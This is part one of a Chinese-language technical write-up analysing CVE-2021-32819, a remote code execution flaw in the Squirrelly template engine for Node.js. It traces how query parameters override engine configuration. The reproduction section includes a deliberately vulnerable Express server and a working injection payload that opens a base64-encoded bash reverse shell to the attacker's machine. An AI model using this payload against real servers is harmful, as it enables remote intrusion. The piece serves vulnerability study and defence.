Nodejs Squirrelly 模板引擎 RCE(CVE-2021-32819)漏洞分析(一)

简介: Nodejs Squirrelly 模板引擎 RCE(CVE-2021-32819)漏洞分析

34ea2f2435f1420485fdea7730d6a737_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


  • 漏洞概述
  • 漏洞复现
  • 环境搭建
  • 漏洞验证
  • 漏洞分析
  • renderFile
  • getConfig
  • tryHandleCache
  • handleCache
  • compile
  • compileToString
  • compileScope
  • 可能受到该漏洞影响的项目
  • 漏洞防御措施
  • Ending......


漏洞概述

Squirrelly 是一个用 JavaScript 实现的现代、可配置且速度极快的模板引擎。它与 ExpressJS 一起开箱即用,完整版的 gzip 压缩后仅重约 4KB。

2021 年 5 月 14 日,在 SquirrellyJS 从 v8.0.0 到 v8.0.8 及以上的版本爆出了一个漏洞(CVE-2021-32819)。官方对该漏洞原因的描述如下:

The Express render API was designed to only pass in template data. By allowing template engine configuration options to be passed through the Express render API directly, downstream users of an Express template engine may inadvertently introduce insecure behavior into their applications with impacts ranging from Cross Site Scripting (XSS) to Remote Code Execution (RCE).

大致原因就是 Squirrelly 通过 Express 渲染 API 将纯模板数据与引擎配置选项混合。攻击者可以通过请求查询来覆盖并控制全局变量 defaultConfig (一组内部模板引擎配置选项)中的defaultFilter 属性。下游用户可能会无意中将不安全的行为引入他们的应用程序。该漏洞影响范围从跨站点脚本(XSS)到远程代码执行(RCE)。

漏洞复现

这里我们在 Linux 服务器上进行测试。

环境搭建

安装 Nodejs 环境、Node Package Manager(NPM)以及 ExpressJS 和 SquirellyJS 模块:

sudo apt update
sudo apt install nodejs npm
mkdir CVE-2021-32819 && cd CVE-2021-32819
npm install express
npm install squirrelly

然后编写如下易受攻击的服务端代码:

  • server.js
const express = require('express')
const squirrelly = require('squirrelly')
const app = express()
app.set('views', __dirname);
app.set('view engine', 'squirrelly')
app.use(express.urlencoded({ extended: false }));
app.get('/', (req, res) => {
   res.render('index.squirrelly', req.query)
})
var server = app.listen(3000, '0.0.0.0', function () {
    var host = server.address().address
    var port = server.address().port
    console.log("Listening on http://%s:%s", host, port)
});

编写模板文件:

  • index.squirrelly
<!DOCTYPE html>
<html>
    <head>
        <title>CVE-2021-32819</title>
        <h1>Test For CVE-2021-32819</h1>
    </head>
<body>
    <h1>{{it.variable}}</h1>
</body>
</html>

运行服务端代码:

node server.js

漏洞验证

首先在攻击机上开启 nc 监听:

nc -lvp 2333

然后发送如下 payload:

http://192.168.226.148:3000/?defaultFilter=e'))%3B%20let%20require%20%3D%20global.require%20%7C%7C%20global.process.mainModule.constructor._load%3B%20require('child_process').exec('echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xNDMvMjMzMyAgMD4mMQ%3D%3D%7Cbase64%20-d%7Cbash')%3B%20%2F%2F
# http://192.168.226.148:3000/?defaultFilter=e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xNDMvMjMzMyAgMD4mMQ==|base64 -d|bash'); //

2f16de9fcf4f79c20ef822cefc0ddf05_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210725225523889

如下图所示,成功反弹 Shell:

d5ac91cbf9701e047a70f075a4759851_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210725225604156

漏洞分析

当我们发送如下请求后:

/?defaultFilter=HelloWorld

Express 最终都会通过这个 engine 来调用 Squirrelly 模板引擎中的 renderFile 函数进行渲染(node_modules/express/lib/view.js):

89392c446f2b0e55afd402b4c408a3e2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210725231405524

我们跟进 Squirrelly 模板引擎中的  renderFile 函数

renderFile

c9de07421c317031deb9ea1b65fa7e3d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210725232814159

renderFile 函数可以传入以下三个参数:

  • filename:模板文件的路径
  • data:包含请求查询的模板数据,大致如下:
{
  settings: {
      ...,
  },
  variable: "HelloWorld",
  _locals: {},
  cache: false,
}
  • cb:定义一个回调函数

renderFile 函数首先调用了 getConfig 函数,然后有调用了 tryHandleCache 函数,我们首先跟进 getConfig。

getConfig

30b996f1972e86d45fdde65a4914d327_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210725233516995

  • override:该参数包含请求查询的模板数据,大致如下:
{
  settings: {
      ...,
  },
  variable: "HelloWorld",
  _locals: {},
  cache: false,
}
  • baseConfig:该参数未定义

getConfig 函数首先将 res 变量定义为一个空对象,然后将全局变量 defaultConfig(一组编译配置选项)的内容复制到 res 对象中,然后跳过 baseConfig 条件,然后将 override 的内容覆盖到 res 对象中,最后将 res 返回到 renderFile 函数作用域中的 Config 变量中。此时 Config 变量的内容如下:

{
    varName: 'it', 
    ..., 
    autoEscape: true, 
    defaultFilter: false, 
    ..., 
    settings: {...},
    variable: 'HelloWorld', 
    ... 
}

请求查询被赋给 Config 对象,这是一组编译选项,这就意味着发送者可以覆盖 Config 属性值。

调用完 getConfig 函数只会,renderFile 函数有调用了 tryHandleCache 函数,跟进 tryHandleCache。

tryHandleCache

3fdbd54facfc118940b2b9a47317162e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210725235705560

  • options:是一组编译选项
{
  varName: "it",
  ...,
  autoEscape: true,
  defaultFilter: false,
  tags: ["{{", "}}"],
  ...,
  variable: "HelloWorld",
  _locals: {},
  ...
}
  • data:包含请求查询的模板数据
{
  settings: { ... },
  variable: "HelloWorld",
  _locals: {},
  cache: false,
}
  • cb:定义一个回调函数

tryHandleCache 函数会调用 handleCache 函数,跟进 handleCache。

handleCache

8fa37a402fddae789de078cd1f564a24_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210726000219911

  • options:是一组编译选项
{
  varName: "it",
  autoTrim: [
    false,
    "nl",
  ],
  autoEscape: true,
  defaultFilter: false,
  ...,
  variable: "HelloWorld",
  _locals: {
  },
  ...
}

handleCache 函数将获取模板文件(index.squirrelly)的内容,然后调用 compile 函数。


相关文章
|
6月前
|
数据采集 JavaScript 数据可视化
Node.js爬虫在租房信息监测与分析中的应用
Node.js爬虫在租房信息监测与分析中的应用
|
6月前
|
监控 JavaScript 安全
监控内网电脑软件设计与实现:基于Node.js的服务器端架构分析
在当今信息技术高度发达的时代,监控内网电脑的需求日益增长。企业需要确保网络安全,个人用户也需要监控家庭网络以保护隐私和安全。本文将介绍一种基于Node.js的服务器端架构,用于设计和实现监控内网电脑软件。
210 0
|
Android开发
[慕课笔记]Node入口文件分析和目录初始化
[慕课笔记]Node入口文件分析和目录初始化
48 0
|
前端开发 JavaScript 关系型数据库
Node框架 【Koa】之 【静态资源管理、模板引擎、连接数据库】
Node框架 【Koa】之 【静态资源管理、模板引擎、连接数据库】
191 0
|
安全 JavaScript
Nodejs Squirrelly 模板引擎 RCE(CVE-2021-32819)漏洞分析(二)
Nodejs Squirrelly 模板引擎 RCE(CVE-2021-32819)漏洞分析
303 0
Nodejs Squirrelly 模板引擎 RCE(CVE-2021-32819)漏洞分析(二)
node笔记记录75模板引擎1
node笔记记录75模板引擎1
39 0
node笔记记录75模板引擎1
node笔记记录76模板引擎2
node笔记记录76模板引擎2
55 0
node笔记记录76模板引擎2
node笔记记录78模板引擎4
node笔记记录78模板引擎4
45 0
node笔记记录78模板引擎4
node笔记记录77模板引擎3
node笔记记录77模板引擎3
67 0
node笔记记录77模板引擎3
Node模板引擎的使用
Node模板引擎的使用
104 0